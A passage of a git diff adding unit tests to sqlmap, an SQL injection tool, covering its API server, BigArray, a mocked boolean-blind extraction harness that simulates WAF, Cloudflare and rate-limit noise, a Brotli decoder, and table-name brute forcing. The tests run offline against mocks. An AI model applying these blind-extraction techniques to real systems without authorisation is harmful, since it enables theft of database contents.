+ def test_scan_start_launches_engine(self): + taskid = self._new_task() + task = api.DataStore.tasks[taskid] + + calls = {"started": False} + + class _FakeProc(object): + pid = 4242 + returncode = None + + def poll(self): + return None + + def terminate(self): + pass + + def kill(self): + pass + + def wait(self): + return 0 + + def fake_engine_start(): + calls["started"] = True + task.process = _FakeProc() + + original = task.engine_start + task.engine_start = fake_engine_start + try: + code, parsed, _ = _wsgi_call("POST", "/scan/%s/start" % taskid, {"url": "http://t/?id=1"}) + finally: + task.engine_start = original + + self.assertTrue(calls["started"]) + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["engineid"], 4242) + # the provided option was applied to the task + self.assertEqual(task.get_option("url"), "http://t/?id=1") + + +class TestAdminRoutes(_ApiServerCase): + def test_admin_list_with_token(self): + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/admin/%s/list" % api.DataStore.admin_token) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + self.assertIn(taskid, parsed["tasks"]) + self.assertEqual(parsed["tasks_num"], 1) + + def test_admin_list_same_remote_addr_without_token(self): + # /admin/list (no token) sees only tasks from the requesting remote_addr + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/admin/list", remote_addr="127.0.0.1") + self.assertTrue(parsed["success"]) + self.assertIn(taskid, parsed["tasks"]) + + def test_admin_list_other_remote_addr_excluded(self): + self._new_task() # created from 127.0.0.1 + code, parsed, _ = _wsgi_call("GET", "/admin/list", remote_addr="10.9.9.9") + self.assertTrue(parsed["success"]) + self.assertEqual(parsed["tasks_num"], 0) + + def test_admin_flush_with_token(self): + self._new_task() + self._new_task() + self.assertEqual(len(api.DataStore.tasks), 2) + code, parsed, _ = _wsgi_call("GET", "/admin/%s/flush" % api.DataStore.admin_token) + self.assertTrue(parsed["success"]) + self.assertEqual(len(api.DataStore.tasks), 0) + + def test_admin_flush_only_own_remote_addr(self): + # task from .1, flush requested by .2 (no token) -> task survives + taskid = self._new_task() + code, parsed, _ = _wsgi_call("GET", "/admin/flush", remote_addr="10.0.0.2") + self.assertTrue(parsed["success"]) + self.assertIn(taskid, api.DataStore.tasks) + + +class TestAuthentication(_ApiServerCase): + """check_authentication before_request hook (HTTP Basic) when credentials are configured.""" + + def test_no_credentials_allows_access(self): + api.DataStore.username = None + api.DataStore.password = None + code, parsed, _ = _wsgi_call("GET", "/version") + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + + def test_missing_auth_header_denied(self): + api.DataStore.username = "user" + api.DataStore.password = "pass" + code, _, raw = _wsgi_call("GET", "/version") + self.assertEqual(code, 401) + + def test_wrong_credentials_denied(self): + api.DataStore.username = "user" + api.DataStore.password = "pass" + token = encodeBase64("user:wrong", binary=False) + code, _, raw = _wsgi_call("GET", "/version", headers={"Authorization": "Basic %s" % token}) + self.assertEqual(code, 401) + + def test_correct_credentials_allowed(self): + api.DataStore.username = "user" + api.DataStore.password = "pass" + token = encodeBase64("user:pass", binary=False) + code, parsed, _ = _wsgi_call("GET", "/version", headers={"Authorization": "Basic %s" % token}) + self.assertEqual(code, 200) + self.assertTrue(parsed["success"]) + + def test_malformed_basic_credentials_denied(self): + # base64 of a string without ':' separator -> denied + api.DataStore.username = "user" + api.DataStore.password = "pass" + token = encodeBase64("nocolon", binary=False) + code, _, _ = _wsgi_call("GET", "/version", headers={"Authorization": "Basic %s" % token}) + self.assertEqual(code, 401) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_bigarray.py b/tests/test_bigarray.py new file mode 100644 index 00000000000..9d65d8e97fe --- /dev/null +++ b/tests/test_bigarray.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +BigArray disk-spill semantics (lib/core/bigarray.py). + +BigArray is the structure that lets sqlmap dump tables far larger than RAM: once +the in-memory chunk exceeds chunk_size it is pickled to a temp file and a new +chunk starts. The tricky, easy-to-break part is that indexing / iteration / +pop / pickling must stay correct ACROSS the in-memory<->on-disk boundary. + +These force a spill with a tiny chunk_size and assert the data survives intact. +""" + +import os +import pickle +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.bigarray import BigArray + +N = 5000 + + +_SPILLED = [] + +def _make_spilled(): + # tiny chunk_size guarantees many on-disk chunks for N items + ba = BigArray(chunk_size=1024) + for i in range(N): + ba.append("item-%d" % i) + _SPILLED.append(ba) # tracked so tearDownModule closes it (release the on-disk chunk files) + return ba + + +def tearDownModule(): + for ba in _SPILLED: + try: + ba.close() + except Exception: + pass + del _SPILLED[:] + + +class TestSpill(unittest.TestCase): + def test_actually_spilled_to_disk(self): + ba = _make_spilled() + self.assertGreater(len(ba.chunks), 1, msg="expected multiple chunks (a disk spill)") + # stronger than "more than one chunk": at least one chunk must be a real on-disk file + # (spilled chunks are stored as filenames). Otherwise this could pass while everything + # stayed in RAM. + disk_chunks = [c for c in ba.chunks if isinstance(c, str)] + self.assertTrue(disk_chunks, msg="no chunk was spilled to disk") + self.assertTrue(os.path.exists(disk_chunks[0]), msg="spilled chunk file missing on disk") + + def test_len(self): + self.assertEqual(len(_make_spilled()), N) + + def test_random_access_across_boundary(self): + ba = _make_spilled() + for i in (0, 1, 499, 500, 2500, N - 1): + self.assertEqual(ba[i], "item-%d" % i, msg="ba[%d]" % i) + + def test_negative_index(self): + ba = _make_spilled() + self.assertEqual(ba[-1], "item-%d" % (N - 1)) + + def test_iteration_order_preserved(self): + ba = _make_spilled() + for idx, value in enumerate(ba): + if value != "item-%d" % idx: + self.fail("iteration order broke at %d: %r" % (idx, value)) + self.assertEqual(idx, N - 1) + + def test_pop_from_end(self): + ba = _make_spilled() + self.assertEqual(ba.pop(), "item-%d" % (N - 1)) + self.assertEqual(len(ba), N - 1) + + def test_pickle_roundtrip_across_spill(self): + ba = _make_spilled() + restored = pickle.loads(pickle.dumps(ba)) + self.assertIsInstance(restored, BigArray) + self.assertEqual(len(restored), N) + self.assertEqual(restored[0], "item-0") + self.assertEqual(restored[N - 1], "item-%d" % (N - 1)) + + +class TestCacheConsistency(unittest.TestCase): + """The on-disk chunk is served through a single-slot cache (read caching plus + dirty write-back). These check that the cache never serves stale data.""" + + def test_setitem_writeback_across_chunks(self): + ba = _make_spilled() + ref = ["item-%d" % i for i in range(N)] + # mutate elements spread across several different on-disk chunks + for i in (0, 1, 499, 500, 2500, N - 1): + ba[i] = ref[i] = "EDIT-%d" % i + try: + for i in (0, 1, 499, 500, 2500, N - 1): + self.assertEqual(ba[i], ref[i], msg="readback ba[%d]" % i) + self.assertEqual(list(ba), ref) # full independent traversal agrees + finally: + ba.close() + + def test_dirty_edit_survives_pickle(self): + ba = _make_spilled() + ba[10] = "EDITED-LOW" + ba[N - 10] = "EDITED-HIGH" + restored = pickle.loads(pickle.dumps(ba)) + try: + self.assertEqual(restored[10], "EDITED-LOW") + self.assertEqual(restored[N - 10], "EDITED-HIGH") + finally: + restored.close() + ba.close() + + def test_pop_then_append_then_direct_read(self): + # Regression: pop() reloads the last on-disk chunk into memory and deletes its + # file, but a non-dirty cache entry still pointing at that chunk index was left + # in place. A later append that re-dumps the chunk index then made the stale + # cache serve outdated data on a direct __getitem__ (silent data corruption). + ref = ["item-%d" % i for i in range(N)] + ba = _make_spilled() + try: + cl = ba.chunk_length + last = len(ba.chunks) - 2 # last on-disk chunk (tail is the in-memory list) + base = last * cl + + ba[base] # populate cache at idx=last, NOT dirty + + while len(ba) > base + 1: # pop() reloads chunk 'last' from disk, removes its file + ba.pop() + ref.pop() + + for i in range(cl): # re-dump chunk 'last' to a brand new temp file + value = "NEW-%d" % i + ba.append(value) + ref.append(value) + + # direct access to the re-dumped chunk, with no prior read to refresh the cache + for off in range(cl): + self.assertEqual(ba[base + off], ref[base + off], msg="offset %d" % off) + finally: + ba.close() + + +class TestInMemorySmall(unittest.TestCase): + def test_no_spill_for_small(self): + ba = BigArray([1, 2, 3]) + self.assertEqual(len(ba), 3) + self.assertEqual(list(ba), [1, 2, 3]) + # the actual point of this test (the name promised it): a tiny array stays in ONE + # in-memory chunk and never touches disk + self.assertEqual(len(ba.chunks), 1, msg="small array unexpectedly spilled: %r" % (ba.chunks,)) + self.assertFalse(any(isinstance(c, str) for c in ba.chunks), msg="small array wrote a disk chunk") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_boolean_jitter.py b/tests/test_boolean_jitter.py new file mode 100644 index 00000000000..fe00a901ef7 --- /dev/null +++ b/tests/test_boolean_jitter.py @@ -0,0 +1,296 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Adversarial "shitty response" JITTER harness for BOOLEAN-based blind extraction. + +Boolean-blind decides each bit through the REAL comparison() oracle (--string / --not-string / +--regexp / --code / page-ratio). In the wild a target throws transient junk between good responses - +gateway 5xx, WAF/rate-limit pages, a Cloudflare "just a moment" interstitial, a captcha, a +maintenance banner, a truncated or empty body, an A/B variant, even a page that COINCIDENTALLY +contains the --string token (a direction-flipping false positive). This drives the REAL bisection() + +REAL comparison() + REAL validateChar() re-validation against a mock oracle that injects that catalog +(IID or in bursts) at controllable rates, with NO network, fully deterministic per seed. + +The template is PAYLOAD_DELIMITER-wrapped so validateChar's per-char '!=' re-check actually fires +(the same fidelity trap the time-based harness hit), and the mock sets threadData.lastCode so the +unexpectedCode -> validateChar defense engages exactly as in a live run. + +Two tiers (mirrors tests/test_jitter_stress.py): + * TestBooleanJitterRegression - ALWAYS runs. Deterministic, non-flaky guards: clean extraction is + perfect, benign dynamic content never corrupts, and a transient + unexpected-code response landing on a validation request is ridden out. + * TestBooleanJitterSweep - OPT-IN (SQLMAP_JITTER_STRESS=1). The creative failure-surface sweep + (IID + bursty), informational + loose bounds, kept out of normal CI. +""" + +import os +import random +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.common import getCurrentThreadData, setTechnique +from lib.core.datatype import AttribDict +from lib.core.enums import HTTP_HEADER, PAYLOAD +from lib.core.settings import PAYLOAD_DELIMITER +from lib.request.comparison import comparison +from lib.request.connect import Connect +import lib.techniques.blind.inference as inf + +_D = PAYLOAD_DELIMITER +_TEMPLATE = "%sEXPR=%%s IDX=%%d CMP>%%d%s" % (_D, _D) # delimiter-wrapped -> validateChar '!=' fires +_PARSE = re.compile(r"IDX=(\d+) CMP(!=|=|>)(\d+)") +_SECRET = "Str0ng!" +_STRING = "luther" +# realistic-size bodies (shared nav/footer boilerplate) so the "resembles neither model" anomaly guard +# behaves as on a real page: benign dynamic noise is proportionally tiny (stays a match), while a junk +# interstitial/maintenance/empty body clearly matches neither +_BOILER = "Acme Portal
    " * 8 +_FOOT = "
    (c) Acme Corp - all rights reserved - support@acme.example - v4.2
    " * 8 +_TRUE_BODY = _BOILER + "welcome %s, dashboard: orders profile settings billing (12 items)" % _STRING + _FOOT +_FALSE_BODY = _BOILER + "invalid credentials, no such record found, please retry" + _FOOT +_INTERSTITIAL = "Just a moment... checking your browser before access (DDoS protection)" +_STRESS = os.environ.get("SQLMAP_JITTER_STRESS") + + +class _Headers(object): + def __init__(self, ct="text/html"): + self.headers = ["Content-Type: %s\r\n" % ct] + self._d = {HTTP_HEADER.CONTENT_TYPE: ct} + + def get(self, key, default=None): + return self._d.get(key, default) + + +# ---- creative jitter catalog: each maps the clean intended body -> a transient junk response -------- +def _gw502(intended, rng): return "

    502 Bad Gateway

    ", 502, "text/html" +def _gw504(intended, rng): return "

    504 Gateway Time-out

    ", 504, "text/html" +def _rate429(intended, rng): return "{\"error\":\"rate limited\"}", 429, "application/json" +def _waf403(intended, rng): return "Request blocked by security policy #%d" % rng.randint(1, 9), 403, "text/html" +def _cf(intended, rng): return "Just a moment...Checking your browser (Cloudflare)", 200, "text/html" +def _captcha(intended, rng): return "Please complete the CAPTCHA to continue", 200, "text/html" +def _maintenance(intended, rng):return "We'll be back shortly - scheduled maintenance", 200, "text/html" +def _empty(intended, rng): return "", 200, "text/html" +def _truncated(intended, rng): return intended[:rng.randint(10, 30)], 200, "text/html" +def _lang(intended, rng): return "bienvenue, voici votre tableau de bord", 200, "text/html" +def _dynamic(intended, rng): return intended.replace("", "%d%d views" % (rng.getrandbits(32), rng.randint(1, 999))), 200, "text/html" +def _coincidence(intended, rng):return "system message from %s: degraded, retry later" % _STRING, 200, "text/html" + +_CODE_CHANGING = (_gw502, _gw504, _rate429, _waf403) +_SAME_CODE = (_cf, _captcha, _maintenance, _empty, _truncated, _lang) + + +def _vector(): + d = AttribDict() + d.payload = _TEMPLATE; d.where = 1; d.vector = _TEMPLATE; d.comment = "" + d.templatePayload = None; d.matchRatio = None; d.trueCode = 200; d.falseCode = 200 + return d + + +class _BooleanJitterBase(unittest.TestCase): + _CONF = ("threads", "api", "verbose", "direct", "string", "notString", "regexp", "code", "lengths", + "titles", "textOnly", "hexConvert", "charset", "firstChar", "lastChar", + "ignoreCode", "ignoreTimeouts") + _KB = ("negativeLogic", "nullConnection", "errorIsNone", "pageTemplate", "matchRatio", "heavilyDynamic", + "pageStructurallyStable", "skipSeqMatcher", "pageEncoding", "partRun", "safeCharEncode", + "bruteMode", "fileReadMode", "disableShiftTable", "prependFlag", "timeless", "counters", + "originalCode", "originalPage", "trueTemplate", "falseTemplate", "dynamicMarkings") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF} + self._saved_kb = {k: kb.get(k) for k in self._KB} + self._saved_inj = kb.injection.data + self._saved_qp = Connect.queryPage + self._saved_technique = getCurrentThreadData().technique + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + for k, v in self._saved_kb.items(): + kb[k] = v + kb.injection.data = self._saved_inj + Connect.queryPage = self._saved_qp + inf.Request.queryPage = self._saved_qp + setTechnique(self._saved_technique) + + def _configure(self): + set_dbms("MySQL") + conf.threads = 1; conf.api = False; conf.verbose = 0; conf.direct = False + conf.string = _STRING; conf.notString = None; conf.regexp = None; conf.code = None + conf.lengths = None; conf.titles = None; conf.textOnly = None + conf.hexConvert = False; conf.charset = None; conf.firstChar = None; conf.lastChar = None + conf.ignoreCode = []; conf.ignoreTimeouts = False + kb.negativeLogic = False; kb.nullConnection = False; kb.errorIsNone = True + kb.pageTemplate = _FALSE_BODY; kb.matchRatio = None; kb.heavilyDynamic = False + kb.pageStructurallyStable = False; kb.skipSeqMatcher = False; kb.pageEncoding = None + kb.partRun = None; kb.safeCharEncode = False; kb.bruteMode = False; kb.fileReadMode = False + kb.disableShiftTable = False; kb.prependFlag = False; kb.timeless = None; kb.counters = {} + kb.originalCode = None; kb.originalPage = None + # calibrated reference bodies for the same-code anomaly guard (Fix B); no learned dynamic markings + kb.trueTemplate = _TRUE_BODY; kb.falseTemplate = _FALSE_BODY; kb.dynamicMarkings = [] + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: _vector()} + setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN) + kb.data.processChar = None + getCurrentThreadData().validationRun = 0 + + def _extract(self, respond): + """`respond(payload, cond, rng)` returns (body, code, contentType); drives real bisection -> + real comparison(). Bit truth `cond` is derived from the parseable delimiter-wrapped payload.""" + def oracle(payload=None, timeBasedCompare=False, **kwargs): + td = getCurrentThreadData() + m = _PARSE.search(payload or "") + if not m: + td.lastPage = _FALSE_BODY; td.lastCode = 200 + return comparison(_FALSE_BODY, _Headers(), 200) + idx, op, thr = int(m.group(1)), m.group(2), int(m.group(3)) + ch = ord(_SECRET[idx - 1]) if 0 <= idx - 1 < len(_SECRET) else 0 + cond = (ch > thr) if op == ">" else (ch != thr) if op == "!=" else (ch == thr) + if "NOT(" in (payload or ""): + cond = not cond + body, code, ct = respond(payload or "", cond) + td.lastPage = body; td.lastCode = code + return comparison(body, _Headers(ct), code) + + Connect.queryPage = staticmethod(oracle) + inf.Request.queryPage = staticmethod(oracle) # staticmethod on BOTH (py2 unbound-method guard) + td = getCurrentThreadData() + td.shared.value = ""; td.shared.index = [0]; td.shared.start = 0; td.shared.count = 0 + _, value = inf.bisection(_TEMPLATE, "SELECT secret", length=len(_SECRET), charsetType=None) + return value + + def _rate(self, arrival, trials=40, seed0=3000): + ok = 0 + for t in range(trials): + rng = random.Random(seed0 + t) + + def respond(payload, cond, rng=rng): + intended = _TRUE_BODY if cond else _FALSE_BODY + jitter = arrival(rng) + return jitter(intended, rng) if jitter is not None else (intended, 200, "text/html") + + self._configure() + try: + ok += (self._extract(respond) == _SECRET) + except Exception: + pass + return ok, trials + + +def _iid(p, kinds): + ks = list(kinds) + return lambda rng: rng.choice(ks) if rng.random() < p else None + + +def _burst(p_enter, mean_len, kinds): + ks = list(kinds); state = {"bad": 0} + + def f(rng): + if state["bad"] > 0: + state["bad"] -= 1; return rng.choice(ks) + if rng.random() < p_enter: + state["bad"] = max(0, int(rng.expovariate(1.0 / mean_len))) - 1 + return rng.choice(ks) + return None + return f + + +class TestBooleanJitterRegression(_BooleanJitterBase): + """Always-on, deterministic, non-flaky guards for the boolean decision stack.""" + + def test_clean_extraction_is_perfect(self): + ok, n = self._rate(lambda rng: None) + self.assertEqual(ok, n, "clean boolean extraction must be flawless (%d/%d)" % (ok, n)) + + def test_benign_dynamic_content_does_not_corrupt(self): + # csrf tokens / view counters / timestamps churn every response body; with the --string oracle + # they must never flip a bit. A regression that starts trusting raw-body noise fails here. + ok, n = self._rate(_iid(1.0, (_dynamic,))) + self.assertEqual(ok, n, "benign dynamic content must not corrupt extraction (%d/%d)" % (ok, n)) + + def test_unexpected_code_during_validation_is_ridden_out(self): + # Fix A guard: a transient unexpected-code response (503) landing on validateChar's own + # re-check request must not confirm a bit - the char is re-extracted. Here EVERY validation + # ('!=') request returns 503 once, deterministically; extraction must still be exact. + fired = {"n": 0} + + def respond(payload, cond): + if "!=" in payload and fired["n"] < 3: # poison the first few validation re-checks + fired["n"] += 1 + return "

    503 Service Unavailable

    ", 503, "text/html" + body = _TRUE_BODY if cond else _FALSE_BODY + return body, 200, "text/html" + + self._configure() + self.assertEqual(self._extract(respond), _SECRET) + + def test_anomaly_classifier_flags_only_junk(self): + # Fix B core: a response resembling NEITHER calibrated model is flagged; the models themselves + # and a benign dynamic variant are not. Deterministic, no network. + self._configure() + self.assertFalse(inf._resemblesNeitherModel(_TRUE_BODY)) + self.assertFalse(inf._resemblesNeitherModel(_FALSE_BODY)) + self.assertFalse(inf._resemblesNeitherModel(_TRUE_BODY.replace("dashboard", "dashboard 7 new tok=abc123"))) + for junk in (_INTERSTITIAL, "", "

    502 Bad Gateway

    ", _TRUE_BODY[:60]): + self.assertTrue(inf._resemblesNeitherModel(junk), msg="must flag junk %r" % junk[:40]) + + def test_same_code_body_jitter_is_ridden_out(self): + # Fix B guard: a transient same-HTTP-code junk page that resembles NEITHER model makes a + # character mis-resolve to a wrong (valid) value; the anomaly guard triggers validateChar to + # re-extract it. The junk here carries the --string token (so it reads True and pushes the char + # HIGH -> a wrong valid char, the case validateChar covers), and is unlike both models -> flagged. + junk = "notice: %s service temporarily degraded, retry" % _STRING + poisoned = {"n": 0} + + def respond(payload, cond): + m = _PARSE.search(payload) + idx = int(m.group(1)) if m else 0 + if idx == 4 and "!=" not in payload and poisoned["n"] < 3: + poisoned["n"] += 1 + return junk, 200, "text/html" + return (_TRUE_BODY if cond else _FALSE_BODY), 200, "text/html" + + self._configure() + self.assertTrue(inf._resemblesNeitherModel(junk)) # precondition: the junk IS anomalous + self.assertEqual(self._extract(respond), _SECRET) + + +@unittest.skipUnless(_STRESS, "creative boolean-jitter sweep is opt-in (set SQLMAP_JITTER_STRESS=1)") +class TestBooleanJitterSweep(_BooleanJitterBase): + """Opt-in creative failure-surface map (IID + bursty). Informational; asserts only the clean case.""" + + def _sweep(self, label, factory, kinds, rates=(0.0, 0.02, 0.05, 0.10, 0.20)): + print("\n[bool-jitter] %s:" % label) + for r in rates: + ok, n = self._rate(factory(r, kinds)) + print(" rate=%.2f -> %d/%d (%3.0f%%)" % (r, ok, n, 100.0 * ok / n)) + if r == 0.0: + self.assertEqual(ok, n) + + def test_iid_code_changing(self): + self._sweep("IID code-changing (502/504/429/403)", _iid, _CODE_CHANGING) + + def test_iid_same_code_body(self): + self._sweep("IID same-code 200 body (cf/captcha/maint/empty/trunc/lang)", _iid, _SAME_CODE) + + def test_iid_string_coincidence(self): + self._sweep("IID string-coincidence (fake page contains --string)", _iid, (_coincidence,)) + + def test_burst_same_code_body(self): + self._sweep("BURST(mean=4) same-code 200 body", lambda r, k: _burst(r, 4, k), _SAME_CODE) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() diff --git a/tests/test_brotli.py b/tests/test_brotli.py new file mode 100644 index 00000000000..4024a744c6b --- /dev/null +++ b/tests/test_brotli.py @@ -0,0 +1,120 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tests for the dependency-free Brotli (RFC 7932) decompressor under lib/utils/brotli.py, and its wiring +into lib/request/basic.py::decodePage. The compressed fixtures were produced by the reference encoder at +various quality levels; the expected plaintext is reconstructed here by construction, so the suite +validates the decoder fully offline (no third-party 'brotli' module at test time) on Python 2.7 / 3.x. +Positive cases exercise the static dictionary + word transforms, long overlapping copies, UTF-8, the +low-quality (near-uniform tree) path and the repetitive content that relies on the higher insert-and-copy +command ranges. Negative cases assert that hostile input (truncation, garbage, output bombs) is rejected +with a BrotliError rather than silently producing corrupted output. +""" + +import binascii +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.brotli import decompress +from lib.utils.brotli import BrotliError + + +# (expected plaintext, reference-compressed stream in hex) +_CASES = [ + (b"", "3b"), + (b"The quick brown fox jumps over the lazy dog.", + "8b158054686520717569636b2062726f776e20666f78206a756d7073206f76657220746865206c617a7920646f672e03"), + (b"the time of the data on the site is now and the code" * 3, + "1b9b000004e164a9be171b85c00636e080bd799109f64571f090852e78334d90cb20ac9c346c190ff171965a3d2f7a90171c"), + (b"the quick brown fox " * 30, + "1b570200047463a92ee78362f22082d628041695d90acef9a3f135e9c701"), + (b"AB" * 400, "1b1f0300a48284a2b230b009"), + (u"caf\xe9 na\xefve \u4f60\u597d ".encode("utf-8") * 12, + "1bef00004427477ad6d60ac38c93200a288ab462c2a06461d22d186dbbe0263e0707"), + (b"hello hello hello world world foo bar baz " * 6, + "8b7d000080aaaaaaeaff74e5f355048415f8c0000c201701d0ffbbeadf736f75cfa82e6f63b82b5e2c2c2c6c6cacea654675f0e1c38fc160308e33595583c16030180ce65067442a4aa370586827d97b828968074727f5b21e97eebd045d8baeefef94c3fca4fb1e"), +] + +# a valid stream (~1.2 KB of text) whose truncations feed the negative corpus +_TRUNCATION_SAMPLE = binascii.unhexlify("1b570200047463a92ee78362f22082d628041695d90acef9a3f135e9c701") + + +class TestBrotli(unittest.TestCase): + def test_known_fixtures(self): + for expected, hexstream in _CASES: + self.assertEqual(decompress(binascii.unhexlify(hexstream)), expected) + + def test_empty_stream(self): + self.assertEqual(decompress(binascii.unhexlify("3b")), b"") + + def test_truncation_is_rejected(self): + # every proper prefix of a valid stream is truncated -> must raise, never silently return + # corrupted or zero-padded output + for cut in range(1, len(_TRUNCATION_SAMPLE)): + self.assertRaises(BrotliError, decompress, _TRUNCATION_SAMPLE[:cut]) + + def test_malformed_is_rejected(self): + for blob in (b"\xff", b"\x00\x00\x00", b"\x1b\xff\xff\xff\xff", + _TRUNCATION_SAMPLE + b"\x00\x00\x00\x00", # trailing garbage + binascii.unhexlify("3b") + b"\xde\xad"): # data after a complete empty stream + self.assertRaises(BrotliError, decompress, blob) + + def test_non_brotlierror_never_escapes(self): + # arbitrary bytes must terminate quickly and only ever raise BrotliError (never a raw exception) + for i in range(400): + blob = bytes(bytearray((i * 37 + j * 13) & 0xff for j in range(i % 60))) + try: + decompress(blob) + except BrotliError: + pass + + def test_bomb_cap(self): + # a small stream must not be allowed to expand past the output cap + self.assertRaises(BrotliError, decompress, binascii.unhexlify("1b1f0300a48284a2b230b009"), 16) + + +class TestBrotliDecodePage(unittest.TestCase): + _KB = ("pageCompress", "pageEncoding", "disableHtmlDecoding", "singleLogFlags") + _CONF = ("encoding", "nullConnection") + + def setUp(self): + from lib.core.data import conf, kb + self._kb = dict((name, kb.get(name)) for name in self._KB) + self._conf = dict((name, conf.get(name)) for name in self._CONF) + + def tearDown(self): + from lib.core.data import conf, kb + for name, value in self._kb.items(): + kb[name] = value + for name, value in self._conf.items(): + conf[name] = value + + def test_decodepage_br(self): + from lib.core.data import conf, kb + from lib.request.basic import decodePage + from lib.core.convert import getBytes + + conf.encoding = None + conf.nullConnection = False + kb.pageCompress = True + kb.pageEncoding = None + kb.singleLogFlags = set() + kb.disableHtmlDecoding = True + + body = b"secret uid=admin" * 25 + # brotli-compressed 'body' (reference encoder, quality 11) + compressed = binascii.unhexlify( + "1b190488c56d6c1ff52d8742bd820d3870892cd08016f661030e310d82f520b7a3513810bf66edf05d3500") + self.assertEqual(getBytes(decodePage(compressed, "br", "text/html; charset=utf-8")), body) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_brute.py b/tests/test_brute.py new file mode 100644 index 00000000000..4265537c82e --- /dev/null +++ b/tests/test_brute.py @@ -0,0 +1,223 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for lib/utils/brute.py. + +tableExists / columnExists are driven with conf.direct=True and the external +collaborators (inject.checkBooleanExpression, getFileItems, runThreads, +getPageWordSet) monkeypatched so the check runs synchronously, deterministically +and offline; plus _addPageTextWords. + +Any global conf/kb/Backend state that a call reads or writes is snapshotted in +setUp and restored in tearDown so test ordering is irrelevant. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import DBMS + +import lib.utils.brute as brute +from lib.request import inject + + +class DbmsStateMixin(object): + """Snapshot/restore the Backend/kb DBMS-forcing state so set_dbms() does not leak.""" + + def setUp(self): + self._forcedDbms = kb.forcedDbms + self._sticky = kb.stickyDBMS + self._batch = conf.batch + conf.batch = True + + def tearDown(self): + kb.forcedDbms = self._forcedDbms + kb.stickyDBMS = self._sticky + conf.batch = self._batch + + +class TestBrute(DbmsStateMixin, unittest.TestCase): + """Drive tableExists / columnExists with all external collaborators stubbed. + + conf.direct=True skips the time/stacked recommendation prompt. checkBooleanExpression, + getFileItems and runThreads are monkeypatched so the check runs synchronously, + deterministically and offline. getPageWordSet is neutralized so the wordlist is + just what the stub returns. + """ + + def setUp(self): + DbmsStateMixin.setUp(self) + self._saved_conf = {k: conf.get(k) for k in + ("direct", "db", "tbl", "threads", "api", "verbose")} + self._choices = kb.choices + self._cachedTables = kb.data.get("cachedTables") + self._cachedColumns = kb.data.get("cachedColumns") + self._brute = kb.brute + self._origPage = kb.originalPage + + # stub the collaborators + self._orig_cbe = inject.checkBooleanExpression + self._orig_brute_cbe = brute.inject.checkBooleanExpression + self._orig_getFileItems = brute.getFileItems + self._orig_runThreads = brute.runThreads + self._orig_getPageWordSet = brute.getPageWordSet + + from lib.core.datatype import AttribDict + kb.choices = AttribDict(keycheck=False) + kb.choices.tableExists = None + kb.choices.columnExists = None + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.brute = AttribDict({"tables": [], "columns": []}) + kb.originalPage = None + + conf.direct = True + conf.db = None + conf.threads = 1 + conf.api = False + conf.verbose = 0 + + # runThreads -> just call the worker once synchronously + def _fakeRunThreads(numThreads, threadFunction, *args, **kwargs): + kb.threadContinue = True + threadFunction() + brute.runThreads = _fakeRunThreads + # no page words injected into the wordlist + brute.getPageWordSet = lambda page: set() + # wordlist file -> small fixed list + brute.getFileItems = lambda *a, **k: ["users", "logs", "secret_t"] + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + kb.choices = self._choices + if self._cachedTables is None: + kb.data.pop("cachedTables", None) + else: + kb.data.cachedTables = self._cachedTables + if self._cachedColumns is None: + kb.data.pop("cachedColumns", None) + else: + kb.data.cachedColumns = self._cachedColumns + kb.brute = self._brute + kb.originalPage = self._origPage + brute.inject.checkBooleanExpression = self._orig_brute_cbe + brute.getFileItems = self._orig_getFileItems + brute.runThreads = self._orig_runThreads + brute.getPageWordSet = self._orig_getPageWordSet + DbmsStateMixin.tearDown(self) + + def test_table_exists_collects_true_results(self): + set_dbms(DBMS.MYSQL) + + def _cbe(expression, expectingNone=True): + # initial sanity probe (random table) -> must be False, otherwise the + # function raises SqlmapDataException; then only "users" exists. + return "users" in expression + brute.inject.checkBooleanExpression = _cbe + + result = brute.tableExists("/nonexistent/tables.txt") + # cachedTables keyed by conf.db (None here) holds the discovered table + self.assertIn(None, result) + self.assertIn("users", result[None]) + self.assertNotIn("logs", result.get(None, [])) + # also recorded in kb.brute.tables as (db, table) + self.assertIn((None, "users"), kb.brute.tables) + + def test_table_exists_invalid_results_raises(self): + from lib.core.exception import SqlmapDataException + set_dbms(DBMS.MYSQL) + # the initial random-table probe returns True -> "invalid results" guard + brute.inject.checkBooleanExpression = lambda *a, **k: True + with self.assertRaises(SqlmapDataException): + 